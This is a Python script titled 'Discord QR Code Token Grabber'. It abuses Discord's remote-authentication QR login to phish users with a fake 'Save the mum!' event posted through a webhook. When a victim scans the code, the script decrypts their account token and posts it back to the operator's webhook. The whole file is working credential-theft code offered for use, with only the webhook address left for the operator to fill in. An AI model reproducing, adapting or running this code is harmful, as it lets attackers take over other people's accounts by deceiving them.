Discord QR Code Token Grabber

qrtokengrabber.py

import base64
import collections
import io
import threading
import time
from enum import Enum

import orjson
import qrcode
import requests
import websocket
from Cryptodome.Cipher import PKCS1_OAEP
from Cryptodome.Hash import SHA256
from Cryptodome.PublicKey import RSA

RSA_KEY = RSA.generate(1 << 11)
PKCS1_OAEP_CIPHER = PKCS1_OAEP.new(RSA_KEY, hashAlgo=SHA256)

WEBHOOK_URL = ""  # Modify this to your liking


PUBLIC_KEY = b"".join(RSA_KEY.publickey().export_key().split(b"\n")[1:-1])

DISCORD_API_URL = "https://discord.com/api/v9/"
LOGIN_TICKET_URL = DISCORD_API_URL + "users/@me/remote-auth/login"

session = requests.Session()


class RemoteAuthenticationWSOP(Enum):

    HELLO = "hello"

    HEARTBEAT = "heartbeat"
    HEARTBEAT_ACKNOWLEDGED = "heartbeat_ack"

    NONCE_PROOF = "nonce_proof"

    PENDING_TICKET = "pending_ticket"
    PENDING_LOGIN = "pending_login"
    PENDING_REMOTE_INIT = "pending_remote_init"

    INIT = "init"
    CANCEL = "cancel"


def decrypt_payload(encrypted_payload):
    return PKCS1_OAEP_CIPHER.decrypt(base64.b64decode(encrypted_payload))


def setup_heartbeat(ws, interval=41250 // 1000):

    parent_thread = threading.current_thread()
    safe_interval = min(interval, 5)

    def heartbeat():
        while parent_thread.is_alive():
            ws.send(orjson.dumps({"op": "heartbeat"}))
            time.sleep(safe_interval)

    heartbeat_thread = threading.Thread(target=heartbeat)
    heartbeat_thread.start()

    return heartbeat_thread


def send_nonce_proof(ws, encrypted_nonce):
    ws.send(
        orjson.dumps(
            {
                "op": RemoteAuthenticationWSOP.NONCE_PROOF.value,
                "proof": base64.urlsafe_b64encode(
                    SHA256.new(data=decrypt_payload(encrypted_nonce)).digest()
                )
                .rstrip(b"=")
                .decode(),
            }
        )
    )


def get_qr_code(fingerprint):
    raw = qrcode.QRCode()
    raw.add_data(f"https://discordapp.com/ra/{fingerprint}")
    return raw


def get_user_token(session, ticket):
    response = session.post(
        LOGIN_TICKET_URL,
        json={"ticket": ticket},
    )
    return decrypt_payload(response.json()["encrypted_token"]).decode()


if __name__ == "__main__":

    base_webhook_payload = {
        "username": "Totally Authentic",
        "avatar_url": "https://discord.com/assets/847541504914fd33810e70a0ea73177e.ico",
    }
    base_embed_payload = {
        "title": "Save the mum!",
        "color": 0x7289DA,
        "footer": {
            "icon_url": "attachment://qr.png",
            "text": "Saving the mum!",
        },
    }

    locally_shared_values = {}

    events = collections.defaultdict(list)

    def on_event_recieve(op: RemoteAuthenticationWSOP):
        def decorator(func):
            events[op.value].append(func)
            return func

        return decorator

    @on_event_recieve(RemoteAuthenticationWSOP.HELLO)
    def on_hello(ws, data):
        interval = data["heartbeat_interval"]
        _ = setup_heartbeat(ws, interval)

        return ws.send(
            orjson.dumps(
                {
                    "op": "init",
                    "encoded_public_key": PUBLIC_KEY.decode(),
                }
            )
        )

    @on_event_recieve(RemoteAuthenticationWSOP.PENDING_REMOTE_INIT)
    def on_pending_remote_event(ws, data):

        embed = base_embed_payload.copy()
        embed.update(
            description="This is a limited time event for saving the mum! Scan the QR code to get started.",
            thumbnail={"url": "attachment://qr.png"},
        )

        payload = base_webhook_payload.copy()

        payload["embeds"] = [embed]

        qr_stream = io.BytesIO()
        get_qr_code(data["fingerprint"]).make_image().save(qr_stream, "PNG")
        qr_stream.seek(0)

        message_id = session.post(
            WEBHOOK_URL,
            files={
                "payload_json": (
                    None,
                    orjson.dumps(payload),
                    "application/json",
                ),
                "file[0]": (
                    "qr.png",
                    qr_stream,
                    "image/png",
                ),
            },
        ).json()["id"]

        locally_shared_values["message_id"] = message_id

    @on_event_recieve(RemoteAuthenticationWSOP.PENDING_TICKET)
    def on_pending_ticket(ws, data):

        message_id = locally_shared_values.get("message_id")

        if message_id is None:
            return

        user_payload = decrypt_payload(data["encrypted_user_payload"])

        (
            user_id,
            user_discriminator,
            icon_hash,
            username,
        ) = user_payload.decode().split(":")

        thumbnail_url = f"https://cdn.discordapp.com/avatars/{user_id}/{icon_hash}.png"

        locally_shared_values["thumbnail_url"] = thumbnail_url

        embed = base_embed_payload.copy()

        embed.update(
            description=f"Congratulations **{username}#{user_discriminator}**! You were the fastest! Please confirm it *is* you by logging in!",
            thumbnail={
                "url": thumbnail_url,
            },
        )

        payload = base_webhook_payload.copy()
        payload["embeds"] = [embed]

        message_id = session.patch(
            WEBHOOK_URL + "/messages/" + message_id,
            files={
                "payload_json": (
                    None,
                    orjson.dumps(payload),
                    "application/json",
                ),
            },
        ).json()["id"]

    @on_event_recieve(RemoteAuthenticationWSOP.NONCE_PROOF)
    def on_nonce_proof(ws, data):
        return send_nonce_proof(ws, data["encrypted_nonce"])

    @on_event_recieve(RemoteAuthenticationWSOP.PENDING_LOGIN)
    def on_pending_login(ws, data):
        token = get_user_token(session, data["ticket"])

        message_id = locally_shared_values.get("message_id")

        if message_id is None:
            return

        thumbnail_url = locally_shared_values.get("thumbnail_url")

        embed = base_embed_payload.copy()

        embed.update(
            description="Well, that was easy. You've got token grabbed."
            f"\nToken: `{token}`",
        )

        if thumbnail_url is not None:
            embed["thumbnail"] = {"url": thumbnail_url}

        payload = base_webhook_payload.copy()
        payload["embeds"] = [embed]

        session.patch(
            WEBHOOK_URL + "/messages/" + message_id,
            files={
                "payload_json": (
                    None,
                    orjson.dumps(payload),
                    "application/json",
                ),
            },
        ).json()

        return ws.close()

    @on_event_recieve(RemoteAuthenticationWSOP.CANCEL)
    def on_cancel(ws, data):
        message_id = locally_shared_values.get("message_id")

        if message_id is None:
            return

        thumbnail_url = locally_shared_values.get("thumbnail_url")

        embed = base_embed_payload.copy()

        embed.update(
            title="Congratulations!",
            description="You protected yourself! This is a totally fake event meant to grab your Discord tokens!",
        )

        if thumbnail_url is not None:
            embed["thumbnail"] = {"url": thumbnail_url}

        payload = base_webhook_payload.copy()
        payload["embeds"] = [embed]

        if thumbnail_url is not None:
            embed["thumbnail"] = {"url": thumbnail_url}

        session.patch(
            WEBHOOK_URL + "/messages/" + message_id,
            files={
                "payload_json": (
                    None,
                    orjson.dumps(payload),
                    "application/json",
                ),
            },
        ).json()

    def on_message(ws, message):

        message = orjson.loads(message)

        option = message["op"]

        for event in events[option]:
            event(ws, message)

    ws = websocket.WebSocketApp(
        "wss://remote-auth-gateway.discord.gg/?v=2",
        on_message=on_message,
        header={
            "Origin": "https://discord.com",
        },
    )

    ws.run_forever()